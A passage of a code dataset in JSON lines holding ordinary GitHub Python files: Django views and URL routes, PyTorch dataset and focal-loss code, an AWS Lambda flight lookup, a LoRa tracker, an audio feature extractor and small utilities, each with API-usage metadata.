"line_number": 30, "usage_type": "call"}, {"api_name": "django.contrib.messages.error", "line_number": 33, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 33, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 34, "usage_type": "call"}, {"api_name": "django.contrib.messages.error", "line_number": 36, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 36, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 38, "usage_type": "call"}, {"api_name": "django.http.HttpResponse", "line_number": 43, "usage_type": "call"}, {"api_name": "django.http.HttpResponse", "line_number": 45, "usage_type": "call"}, {"api_name": "django.contrib.auth.logout", "line_number": 50, "usage_type": "call"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 51, "usage_type": "call"}, {"api_name": "Student.models.CustomUser.objects.get", "line_number": 56, "usage_type": "call"}, {"api_name": "Student.models.CustomUser.objects", "line_number": 56, "usage_type": "attribute"}, {"api_name": "Student.models.CustomUser", "line_number": 56, "usage_type": "name"}, {"api_name": "Student.models.Students.objects.get", "line_number": 57, "usage_type": "call"}, {"api_name": "Student.models.Students.objects", "line_number": 57, "usage_type": "attribute"}, {"api_name": "Student.models.Students", "line_number": 57, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 63, "usage_type": "call"}, {"api_name": "django.contrib.messages.error", "line_number": 68, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 68, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 69, "usage_type": "call"}, {"api_name": "Student.models.CustomUser.objects.get", "line_number": 77, "usage_type": "call"}, {"api_name": "Student.models.CustomUser.objects", "line_number": 77, "usage_type": "attribute"}, {"api_name": "Student.models.CustomUser", "line_number": 77, "usage_type": "name"}, {"api_name": "Student.models.Students.objects.get", "line_number": 84, "usage_type": "call"}, {"api_name": "Student.models.Students.objects", "line_number": 84, "usage_type": "attribute"}, {"api_name": "Student.models.Students", "line_number": 84, "usage_type": "name"}, {"api_name": "django.contrib.messages.success", "line_number": 88, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 88, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 89, "usage_type": "call"}, {"api_name": "django.contrib.messages.error", "line_number": 91, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 91, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 92, "usage_type": "call"}, {"api_name": "Student.models.Students.objects.all", "line_number": 96, "usage_type": "call"}, {"api_name": "Student.models.Students.objects", "line_number": 96, "usage_type": "attribute"}, {"api_name": "Student.models.Students", "line_number": 96, "usage_type": "name"}, {"api_name": "Student.models.Courses.objects.all", "line_number": 97, "usage_type": "call"}, {"api_name": "Student.models.Courses.objects", "line_number": 97, "usage_type": "attribute"}, {"api_name": "Student.models.Courses", "line_number": 97, "usage_type": "name"}, {"api_name": "Student.models.Courses.objects.all", "line_number": 100, "usage_type": "call"}, {"api_name": "Student.models.Courses.objects", "line_number": 100, "usage_type": "attribute"}, {"api_name": "Student.models.Courses", "line_number": 100, "usage_type": "name"}, {"api_name": "Student.models.Students.objects.filter", "line_number": 106, "usage_type": "call"}, {"api_name": "Student.models.Students.objects", "line_number": 106, "usage_type": "attribute"}, {"api_name": "Student.models.Students", "line_number": 106, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 117, "usage_type": "call"}, {"api_name": "Student.models.CustomUser.objects.get", "line_number": 120, "usage_type": "call"}, {"api_name": "Student.models.CustomUser.objects", "line_number": 120, "usage_type": "attribute"}, {"api_name": "Student.models.CustomUser", "line_number": 120, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 125, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 128, "usage_type": "call"}, {"api_name": "django.contrib.messages.error", "line_number": 133, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 133, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 134, "usage_type": "call"}, {"api_name": "Student.models.Courses", "line_number": 138, "usage_type": "call"}, {"api_name": "django.contrib.messages.success", "line_number": 140, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 140, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 141, "usage_type": "call"}, {"api_name": "django.contrib.messages.error", "line_number": 143, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 143, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 144, "usage_type": "call"}, {"api_name": "django.contrib.auth.mixins.LoginRequiredMixin", "line_number": 147, "usage_type": "name"}, {"api_name": "django.views.generic.CreateView", "line_number": 147, "usage_type": "name"}, {"api_name": "Student.models.Students", "line_number": 150, "usage_type": "name"}, {"api_name": "django.views.generic.ListView", "line_number": 155, "usage_type": "name"}, {"api_name": "Student.models.Students", "line_number": 156, "usage_type": "name"}, {"api_name": "django.views.generic.DetailView", "line_number": 161, "usage_type": "name"}, {"api_name": "Student.models.Students", "line_number": 162, "usage_type": "name"}]}
{"seq_id": "27639676778", "text": "from django.urls import path\nfrom django.contrib.auth import views as auth_views\n\nfrom account.views import account, Register, TransferView\n\nurlpatterns = [\n    path('login/', auth_views.LoginView.as_view(), name='login'),\n    path('logout/', auth_views.LogoutView.as_view(), name='logout'),\n    path('register/', Register.as_view(), name='register'),\n    path('transfer/', TransferView.as_view(), name='transfer'),\n    path('', account, name='account'),\n]", "repo_name": "vitomed/Django-Payment-system-prototype", "sub_path": "account/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 456, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "django.urls.path", "line_number": 7, "usage_type": "call"}, {"api_name": "django.contrib.auth.views.LoginView.as_view", "line_number": 7, "usage_type": "call"}, {"api_name": "django.contrib.auth.views.LoginView", "line_number": 7, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.views", "line_number": 7, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 8, "usage_type": "call"}, {"api_name": "django.contrib.auth.views.LogoutView.as_view", "line_number": 8, "usage_type": "call"}, {"api_name": "django.contrib.auth.views.LogoutView", "line_number": 8, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.views", "line_number": 8, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 9, "usage_type": "call"}, {"api_name": "account.views.Register.as_view", "line_number": 9, "usage_type": "call"}, {"api_name": "account.views.Register", "line_number": 9, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 10, "usage_type": "call"}, {"api_name": "account.views.TransferView.as_view", "line_number": 10, "usage_type": "call"}, {"api_name": "account.views.TransferView", "line_number": 10, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 11, "usage_type": "call"}, {"api_name": "account.views.account", "line_number": 11, "usage_type": "argument"}]}
{"seq_id": "5280660568", "text": "import pandas as pd\nimport torch\nfrom torch.utils.data import Dataset, DataLoader\nimport numpy as np\n\nstored_vecs = {}\n\nclass EmojiDataset(Dataset):\n    def __init__(self, csv_file, transform=None):\n        self.tweets_frame = pd.read_csv(csv_file)\n        self.transform = transform\n\n    def __len__(self):\n        return len(self.landmarks_frame)\n\n    def __getitem__(self, index):\n        if torch.is_tensor(index):\n            index = index.tolist()\n\n        sentence = self.tweets_frame.iloc[index, 0]\n        words = np.array(sentence.split(\" \"))\n        emoji = self.tweets_frame.iloc[index, 1]\n\n        sample = {'words': words, 'emoji':emoji}\n        if self.transform:\n            sample = self.transform(sample)\n\n        return sample\n    \nemoji_dataset = EmojiDataset(csv_file=\"py_dev.csv\")\n\n\noutput_file = open(\"dataset.dev\", \"w+\")\noutput_file.write(\"words,emoji\\n\")\n\nfor sample in emoji_dataset:\n    np.set_printoptions(linewidth=np.inf, threshold=np.inf)\n    output_file.write(str(sample['words']))\n    output_file.write(\",\")\n    output_file.write(str(sample['emoji']))\n    output_file.write(\"\\n\")\n", "repo_name": "aahanaggarwal/EmojiPredicter", "sub_path": "to_py_dataset.py", "file_name": "to_py_dataset.py", "file_ext": "py", "file_size_in_byte": 1113, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "torch.utils.data.Dataset", "line_number": 8, "usage_type": "name"}, {"api_name": "pandas.read_csv", "line_number": 10, "usage_type": "call"}, {"api_name": "torch.is_tensor", "line_number": 17, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 21, "usage_type": "call"}, {"api_name": "numpy.set_printoptions", "line_number": 37, "usage_type": "call"}, {"api_name": "numpy.inf", "line_number": 37, "usage_type": "attribute"}]}
{"seq_id": "42402081995", "text": "import csv\nimport matplotlib.pyplot as plt\n\nwith open('map_log.csv', mode='r') as data:\n\tlatitudeAndLongitude = csv.reader(data, delimiter=',')\n\tlatitudes = []\n\tlongitudes = []\n\tfor row in latitudeAndLongitude:\n\t\tlatitudes.append(row[0])\n\t\tlongitudes.append(row[1])\n\nplt.plot(-38.44402313232422, 2.393688678741455,  color = 'r', marker=\"P\")\nplt.plot(latitudes, longitudes, 'b')\n#plt.xlabel('Longitude')\n#plt.ylabel('Latitude')\nplt.show()\n", "repo_name": "raphaellmsousa/ForROS", "sub_path": "script/map/plotMap.py", "file_name": "plotMap.py", "file_ext": "py", "file_size_in_byte": 438, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "csv.reader", "line_number": 5, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 12, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 12, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 13, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 13, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 16, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 16, "usage_type": "name"}]}
{"seq_id": "27321517194", "text": "import boto3\nfrom botocore.exceptions import BotoCoreError, ClientError\nimport json\nimport logging\nimport os\nimport signal\nimport sys\n\nARRIVAL_PARAMS = {'tail', 'arrival_code', 'arrival_date'}\nDEPARTURE_PARAMS = {'departure_code', 'flight_number', 'departure_date'}\n\nLOGGER = logging.getLogger()\nLOGGER.setLevel(logging.INFO)\n\nARRIVAL_TABLE_NAME = os.getenv('ARRIVAL_TABLE')\nDEPARTURE_TABLE_NAME = os.getenv('DEPARTURE_TABLE')\n\nif ARRIVAL_TABLE_NAME is None or DEPARTURE_TABLE_NAME is None:\n    raise RuntimeError(\"Table name(s) not defined.\")\n\ntry:\n    CLIENT = boto3.resource('dynamodb')\n    ARRIVAL_TABLE = CLIENT.Table(ARRIVAL_TABLE_NAME)\n    DEPARTURE_TABLE = CLIENT.Table(DEPARTURE_TABLE_NAME)\nexcept Exception as ex:\n    LOGGER.exception(\"Failed to initialize lambda\")\n    raise ex\n\n\ndef lambda_handler(event, context) -> object:\n    if is_invalid_request(event):\n        return to_invalid_response(None)\n\n    request = event['pathParameters']['request']\n    query_params = event['queryStringParameters']\n\n    if 'by-arrival' == request:\n        return by_arrival(query_params)\n    elif 'by-departure' == request:\n        return by_departure(query_params)\n    else:\n        return to_invalid_response(request)\n\n\ndef by_arrival(query_params: dict[str, str]) -> object:\n    if not valid_query_params(query_params, ARRIVAL_PARAMS):\n        return to_invalid_response(f\"by-arrival parameters: {str(query_params)}\")\n\n    return get_from_table(ARRIVAL_TABLE, to_arrival_key(query_params))\n\n\ndef by_departure(query_params: dict[str, str]) -> object:\n    if not valid_query_params(query_params, DEPARTURE_PARAMS):\n        return to_invalid_response(f\"by-departure parameters: {str(query_params)}\")\n\n    return get_from_table(DEPARTURE_TABLE, to_departure_key(query_params))\n\n\ndef valid_query_params(parameters: dict[str, str], required: set[str]) -> bool:\n    return parameters is not None and required.issubset(parameters.keys())\n\n\ndef to_invalid_response(message: str or None) -> object:\n    LOGGER.info(\"Invalid request: %s\", message)\n    return http_response(400, f\"Invalid request: {message}\")\n\n\ndef to_arrival_key(params: dict[str, str]) -> dict[str, str]:\n    \"\"\" Creates a hash key for the by-arrival table.\n\n    Keyword arguments:\n        params -- the query parameters\n    \"\"\"\n    return {\n        'key': f\"{params['tail']}_{params['arrival_code']}_{params['arrival_date']}\"\n    }\n\n\ndef to_departure_key(params: dict[str, str]) -> dict[str, str]:\n    \"\"\" Creates a hash key for the by-departure table.\n\n    Keyword arguments:\n        params -- the query parameters\n    \"\"\"\n    return {\n        'key': f\"{params['departure_code']}_{params['flight_number']}_{params['departure_date']}\"\n    }\n\n\ndef get_from_table(table, key: dict[str, str]) -> object:\n    try:\n        return dynamodb_to_http(key, table.get_item(Key=key))\n    except BotoCoreError or ClientError as error:\n        LOGGER.exception(\"Failed to get flight from %s: %s\", table.table_name, key)\n        raise error\n\n\ndef dynamodb_to_http(key: dict[str, str], dynamodb_response: dict[str, object]) -> object:\n    if 'Item' in dynamodb_response:\n        LOGGER.debug(\"Returning flight: %s\", key)\n        return http_response(200, json.dumps(dynamodb_response['Item']))\n\n    LOGGER.info(\"Flight not found: %s\", key)\n    return http_response(404, f\"Flight not found in table {str(key)}\")\n\n\ndef http_response(status_code: int, body: str) -> object:\n    return {\"statusCode\": status_code, \"body\": body}\n\n\ndef is_invalid_request(event):\n    return (event is None or\n            event['queryStringParameters'] is None or\n            event['pathParameters'] is None or\n            event['pathParameters']['request'] is None)\n\n\ndef exit_gracefully(signum: int, frame: object) -> None:\n    try:\n        CLIENT.close()\n    finally:\n        sys.exit(0)\n\n\nsignal.signal(signal.SIGTERM, exit_gracefully)\n", "repo_name": "jdr-daugherty/airline_services", "sub_path": "services/flights/lambdas/flight_requests.py", "file_name": "flight_requests.py", "file_ext": "py", "file_size_in_byte": 3858, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "logging.getLogger", "line_number": 12, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 13, "usage_type": "attribute"}, {"api_name": "os.getenv", "line_number": 15, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 16, "usage_type": "call"}, {"api_name": "boto3.resource", "line_number": 22, "usage_type": "call"}, {"api_name": "botocore.exceptions.BotoCoreError", "line_number": 93, "usage_type": "name"}, {"api_name": "botocore.exceptions.ClientError", "line_number": 93, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 101, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 122, "usage_type": "call"}, {"api_name": "signal.signal", "line_number": 125, "usage_type": "call"}, {"api_name": "signal.SIGTERM", "line_number": 125, "usage_type": "attribute"}]}
{"seq_id": "73657680571", "text": "\nfrom pickle import TRUE\nimport pwd\nimport subprocess\n\n\ndef diskusagehome(id):\n    # Execute the cmd command and returning the values for the disk usage with PID\n    # getpwuid returns the directorýs URL in the system\n    # With the command split(\\t) if just saving the disk usage from the stdout (includes the URL too)\n    try:\n        dir = pwd.getpwuid(id).pw_dir\n        process_4 = subprocess.run(\n            \"sudo du -s -b -m \" + str(dir), shell=True, stdout=subprocess.PIPE, text=True)\n        return process_4.stdout.split(\"\\t\")\n    except KeyError:\n        return None\n", "repo_name": "SergioCM00/UserDiskUsage_Module", "sub_path": "usermonitoring.py", "file_name": "usermonitoring.py", "file_ext": "py", "file_size_in_byte": 580, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "pwd.getpwuid", "line_number": 12, "usage_type": "call"}, {"api_name": "subprocess.run", "line_number": 13, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 14, "usage_type": "attribute"}]}
{"seq_id": "19966917102", "text": "# noinspection PyPep8Naming\nfrom datetime import datetime\n\n\ndef parseTime(s):\n    # Parse a time of the format \"2021-05-24T04:00:12.377589Z\"\n    d = datetime.strptime(s, \"%Y-%m-%dT%H:%M:%S.%fZ\")\n    return d\n\n\nclass Target:\n    def __init__(self, pt, devEUI):\n        self.tracker = pt\n        self.devEUI = devEUI\n        self.lastmsgtime = datetime.utcnow()\n        self.lastloc = None\n        self.nupdates = 0\n        self.tracking = 0\n        self.rxInfo = None\n        self.txInfo = None\n        self.fCnt = 0\n        self.deviceName = \"?\"\n        self.battery_voltage = 0\n        self.replyInterval = 2  # How many frames received between location replies\n        self.unitNumber = None\n\n    def dump(self):\n        elapsed = (datetime.utcnow() - self.lastmsgtime).total_seconds()\n        print(f\"{self.unitNumber} {self.deviceName:20s}: lastseen={elapsed:5.0f}s frame {self.fCnt:5d} tracking {self.tracking:1d} bat={self.battery_voltage:5.3f}\",end=\"\")\n        if self.lastloc is not None:\n            age = (datetime.utcnow() - self.lastloc[2]).total_seconds()\n            print(f\" {self.lastloc[0]:8.4f},{self.lastloc[1]:8.4f} age={age:5.0f}s\")\n        else:\n            print(\"\")\n\n    def update(self, msg):\n        # Update state using JSON message\n        self.nupdates += 1\n        print(f\"update {self.devEUI}: msg={msg}\")\n        self.rxInfo = msg['rxInfo'][0]\n        self.txInfo = msg['txInfo']\n        self.fCnt = msg['fCnt']\n        self.deviceName = msg['deviceName']\n        self.unitNumber = int(self.deviceName[-1])  # Last digit of deviceName\n        # print(f\"rxInfo={self.rxInfo}\")\n        self.lastmsgtime = parseTime(self.rxInfo['time'])\n        obj = msg['object']\n        if 'latitude' in obj:\n            self.lastloc = obj['latitude'], obj['longitude'], self.lastmsgtime,\n            print(f\"lastloc={self.lastloc}\")\n        if 'tracking' in obj:\n            self.tracking = obj['tracking']\n        if 'battery_voltage' in obj:\n            self.battery_voltage = obj['battery_voltage']\n        if self.lastloc is not None and self.fCnt % self.replyInterval == 0:  # Only queue up when we get a new frame to avoid a backlog\n            self.sendreply()\n\n    # noinspection PyPep8Naming\n    def sendreply(self):\n        # Build a reply to send\n        # Use gateway location if target is 1\n        # Otherwise, lookup devEUI\n        if self.tracking == 0:\n            # Compass tracking, nothing to send\n            return\n\n        # Find unit\n        sendloc = None\n        print(f\"targets={targets}\")\n        for t in targets.values():\n            if t.unitNumber == self.tracking:\n                if sendloc is not None:\n                    print(f\"*** Multiple devices with unit {self.tracking}\")\n                sendloc = t.getLocation()\n        if sendloc is None:\n            if self.tracking != 7:\n                print(f\"** Warning: unit {self.tracking} not found - sending GW location\")\n            sendloc = self.getGatewayLocation()\n        print(f\"sendreply({self.devEUI},{self.tracking},{sendloc})\")\n        # Build payload: tracking(1 byte), lat*10000 (3bytes), long*10000(3 bytes), fix seconds( 2 bytes)\n        data = bytearray()\n        data.extend(self.tracking.to_bytes(1, 'big'))\n        latval = round(sendloc[0] * 10000)\n        data.extend(latval.to_bytes(3, byteorder='big', signed=True))\n        longval = round(sendloc[1] * 10000)\n        data.extend(longval.to_bytes(3, byteorder='big', signed=True))\n        age = round((datetime.utcnow() - sendloc[2]).total_seconds())\n        if age > 65535:\n            age = 65535\n        data.extend(age.to_bytes(2, byteorder='big'))\n        print(f\"data={data}\")\n        self.tracker.sendmessage(self.devEUI, 1, data)\n\n    def getGatewayLocation(self):\n        # Get gateway location using rxInfo\n        if self.rxInfo is None:\n            return None, None, None,\n        loc = self.rxInfo['location']\n        return loc['latitude'], loc['longitude'], parseTime(self.rxInfo['time']),\n\n    def getLocation(self):\n        # Retrieve location tuple (lat,long,time of last fix)\n        if self.lastloc is None:\n            return None, None, None,\n        else:\n            return self.lastloc\n\n\ntargets = {}  # Data on each target (indexed by devEUI)\n", "repo_name": "btownshend/LoRa", "sub_path": "python/playatracker/App/Target.py", "file_name": "Target.py", "file_ext": "py", "file_size_in_byte": 4248, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "datetime.datetime.strptime", "line_number": 7, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 7, "usage_type": "name"}, {"api_name": "datetime.datetime.utcnow", "line_number": 15, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 15, "usage_type": "name"}, {"api_name": "datetime.datetime.utcnow", "line_number": 28, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 28, "usage_type": "name"}, {"api_name": "datetime.datetime.utcnow", "line_number": 31, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 31, "usage_type": "name"}, {"api_name": "datetime.datetime.utcnow", "line_number": 87, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 87, "usage_type": "name"}]}
{"seq_id": "11628662358", "text": "import librosa as lb \n\nfrom app.Controllers import Utilities\n\nutils = Utilities.Utilities()\n\nclass FeatureExtractor:\n    def __init__(self):\n        self.n_mfcc=13\n        self.n_chroma=12\n        pass\n\n    # returns 2D matrix or a Flat array of MFCC features\n    def get_mfcc(self,signaldata,samplingrate,flat=False):\n        if samplingrate!=22050:\n            signaldata=utils.resample(signaldata,samplingrate,22050)\n            samplingrate=utils.resamp_rate\n        mfcc=lb.feature.mfcc(y=signaldata,sr=22050, n_mfcc=self.n_mfcc)\n        print(mfcc.shape)\n        if flat==True:\n            mfcc=mfcc.flatten()\n        return mfcc\n\n    # returns 2D matrix or a Flat array of chroma stft\n    def get_chroma_stft(self,signaldata,samplingrate,flat=False):\n        if samplingrate!=22050:\n            signaldata=utils.resample(signaldata,samplingrate,22050)\n            samplingrate=utils.resamp_rate\n        chroma_stft=lb.feature.chroma_stft(y=signaldata,sr=22050, n_chroma=self.n_chroma)\n        print(chroma_stft.shape)\n        if flat==True:\n            chroma_stft=chroma_stft.flatten()\n        return chroma_stft\n\n    # returns 2D matrix or a Flat array of mel spectrogram\n    def get_mel_spectrogram(self,signaldata,samplingrate,flat=False):\n        if samplingrate!=22050:\n            signaldata=utils.resample(signaldata,samplingrate,22050)\n            samplingrate=utils.resamp_rate\n        mel_spectrogram=lb.feature.melspectrogram(y=signaldata,sr=22050)\n        print(mel_spectrogram.shape)\n        if flat==True:\n            mel_spectrogram=mel_spectrogram.flatten()\n        return mel_spectrogram", "repo_name": "Aditya-Dawadikar/Pulmonary-Disease-Prediction-Flask-Server", "sub_path": "app/Controllers/FeatureExtractor.py", "file_name": "FeatureExtractor.py", "file_ext": "py", "file_size_in_byte": 1612, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "app.Controllers.Utilities.Utilities", "line_number": 5, "usage_type": "call"}, {"api_name": "app.Controllers.Utilities", "line_number": 5, "usage_type": "name"}, {"api_name": "librosa.feature.mfcc", "line_number": 18, "usage_type": "call"}, {"api_name": "librosa.feature", "line_number": 18, "usage_type": "attribute"}, {"api_name": "librosa.feature.chroma_stft", "line_number": 29, "usage_type": "call"}, {"api_name": "librosa.feature", "line_number": 29, "usage_type": "attribute"}, {"api_name": "librosa.feature.melspectrogram", "line_number": 40, "usage_type": "call"}, {"api_name": "librosa.feature", "line_number": 40, "usage_type": "attribute"}]}
{"seq_id": "11650819758", "text": "from django.shortcuts import render, HttpResponseRedirect\nfrom django.views.generic import View\nfrom django.contrib.auth.decorators import login_required\nfrom .forms import JuegoForm\nfrom django.utils.decorators import method_decorator\nfrom django.contrib import messages\nfrom django.core.urlresolvers import reverse\nfrom django.utils.text import slugify\n\n\nclass JuegoView(View):\n    @method_decorator(login_required(login_url='cuentas:login'))\n    def get(self, request):\n        form = JuegoForm()\n        template = 'juego/anuncio.html'\n        ctx = {'form': form}\n        return render(request, template, ctx)\n\n    def post(self, request):\n            juego_nuevo = JuegoForm(request.POST, request.FILES)\n            if juego_nuevo.is_valid():  \n                juego = juego_nuevo.save(commit=False)\n                juego.slug = slugify(juego.titulo)\n                juego_nuevo.save()\n                template = 'juego/anuncioexitoso.html'\n                ctx = {\n                    'juego_nuevo': juego_nuevo\n                }\n                return render(request, template, ctx)\n            else:\n                messages.error(request, 'Algo falló')\n                return HttpResponseRedirect(reverse('juego:anuncio'))\n", "repo_name": "sofiarivas/de-favor", "sub_path": "juego/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 1233, "program_lang": "python", "lang": "es", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "django.views.generic.View", "line_number": 11, "usage_type": "name"}, {"api_name": "forms.JuegoForm", "line_number": 14, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 17, "usage_type": "call"}, {"api_name": "django.utils.decorators.method_decorator", "line_number": 12, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 12, "usage_type": "call"}, {"api_name": "forms.JuegoForm", "line_number": 20, "usage_type": "call"}, {"api_name": "django.utils.text.slugify", "line_number": 23, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 29, "usage_type": "call"}, {"api_name": "django.contrib.messages.error", "line_number": 31, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 31, "usage_type": "name"}, {"api_name": "django.shortcuts.HttpResponseRedirect", "line_number": 32, "usage_type": "call"}, {"api_name": "django.core.urlresolvers.reverse", "line_number": 32, "usage_type": "call"}]}
{"seq_id": "16217689468", "text": "import numpy as np\r\nimport torch.nn.functional as F\r\nfrom torch.autograd import Variable\r\nimport torch\r\nimport torch.nn as nn\r\n\r\ndef compute_class_weights(histogram):\r\n    classWeights = np.ones(6, dtype=np.float32)\r\n    normHist = histogram / np.sum(histogram)\r\n    for i in range(6):\r\n        classWeights[i] = 1 / (np.log(1.10 + normHist[i]))\r\n    return classWeights\r\n\r\ndef focal_loss_zhihu(input, target):\r\n    '''\r\n    :param input: 使用知乎上面大神给出的方案  https://zhuanlan.zhihu.com/p/28527749\r\n    :param target:\r\n    :return:\r\n    '''\r\n    n, c, h, w = input.size()\r\n\r\n    target = target.long()\r\n    inputs = input.transpose(1, 2).transpose(2, 3).contiguous().view(-1, c)\r\n    target = target.contiguous().view(-1)\r\n\r\n    N = inputs.size(0)\r\n    C = inputs.size(1)\r\n\r\n    number_0 = torch.sum(target == 0).item()\r\n    number_1 = torch.sum(target == 1).item()\r\n    number_2 = torch.sum(target == 2).item()\r\n    number_3 = torch.sum(target == 3).item()\r\n    number_4 = torch.sum(target == 4).item()\r\n    number_5 = torch.sum(target == 5).item()\r\n\r\n    frequency = torch.tensor((number_0, number_1, number_2, number_3, number_4, number_5), dtype=torch.float32)\r\n    frequency = frequency.numpy()\r\n    classWeights = compute_class_weights(frequency)\r\n\r\n    weights = torch.from_numpy(classWeights).float()\r\n    weights=weights[target.view(-1)]#这行代码非常重要\r\n\r\n    gamma = 2\r\n\r\n    P = F.softmax(inputs, dim=1)#shape [num_samples,num_classes]\r\n\r\n    class_mask = inputs.data.new(N, C).fill_(0)\r\n    class_mask = Variable(class_mask)\r\n    ids = target.view(-1, 1)\r\n    class_mask.scatter_(1, ids.data, 1.)#shape [num_samples,num_classes]  one-hot encoding\r\n\r\n    probs = (P * class_mask).sum(1).view(-1, 1)#shape [num_samples,]\r\n    log_p = probs.log()\r\n\r\n    # print('in calculating batch_loss',weights.shape,probs.shape,log_p.shape)\r\n\r\n    # batch_loss = -weights * (torch.pow((1 - probs), gamma)) * log_p\r\n    batch_loss = -(torch.pow((1 - probs), gamma)) * log_p\r\n\r\n    # print(batch_loss.shape)\r\n\r\n    loss = batch_loss.mean()\r\n    return loss\r\n\r\n\r\nclass Kaggle_FocalLoss(nn.Module):\r\n    \"\"\"\r\n    可以通过设定alpha的值:控制正负样本的权重\r\n        - 1这个类的样本数比-1这个类的样本数多很多，那么a会取0到0.5来增加-1这个类的样本的权重）来控制正负样本对总的loss的共享权重。\r\n        - 这里当a=0.5时就和标准交叉熵一样了（系数是个常数）\r\n    gamma:控制容易分类和难分类样本的权重\r\n        - 当 γ=0的时候，focal loss就是传统的交叉熵损失，当 γ 增加的时候，调制系数也会增加\r\n    γ=0是标准的交叉熵损失；当γ增加的时候，a需要减小一点\r\n    \"\"\"\r\n    def __init__(self, alpha=0.2, gamma=2, logits=False, reduce=True):\r\n        super(Kaggle_FocalLoss, self).__init__()\r\n        self.alpha = alpha\r\n        self.gamma = gamma\r\n        self.logits = logits\r\n        self.reduce = reduce\r\n\r\n    def forward(self, inputs, targets):\r\n        if self.logits:\r\n            BCE_loss = F.binary_cross_entropy_with_logits(inputs, targets, reduce=False)\r\n        else:\r\n            BCE_loss = F.binary_cross_entropy(inputs, targets, reduce=False)\r\n        pt = torch.exp(-BCE_loss)\r\n        F_loss = self.alpha * (1-pt)**self.gamma * BCE_loss\r\n\r\n        if self.reduce:\r\n            return torch.mean(F_loss)\r\n        else:\r\n            return F_loss\r\n\r\nif __name__ == '__main__':\r\n    # #     pred=torch.rand((2,6,5,5))\r\n    # pred = torch.rand((1, 3, 320, 320))\r\n    # #     y=torch.from_numpy(np.random.randint(0,6,(2,5,5)))\r\n    # y = torch.from_numpy(np.random.randint(0, 2, (1, 320, 320)))\r\n    # loss2 = focal_loss_zhihu(pred, y)\r\n    # print('pred:', pred.shape)\r\n    # print('y:', y.shape)\r\n    # print('loss2：', loss2)\r\n\r\n    criterion = Kaggle_FocalLoss()\r\n    output = torch.rand((2, 3, 320, 320))\r\n    y_train = torch.from_numpy(np.random.randint(0, 2, (2, 3, 320, 320)))\r\n    loss = criterion(output, y_train)\r\n    print('output:', output.shape)\r\n    print('y_train:', y_train.shape)\r\n    print('loss2：', loss)", "repo_name": "0706captin/Train_AttUNet", "sub_path": "utils/loss.py", "file_name": "loss.py", "file_ext": "py", "file_size_in_byte": 4104, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "numpy.ones", "line_number": 8, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 8, "usage_type": "attribute"}, {"api_name": "numpy.sum", "line_number": 9, "usage_type": 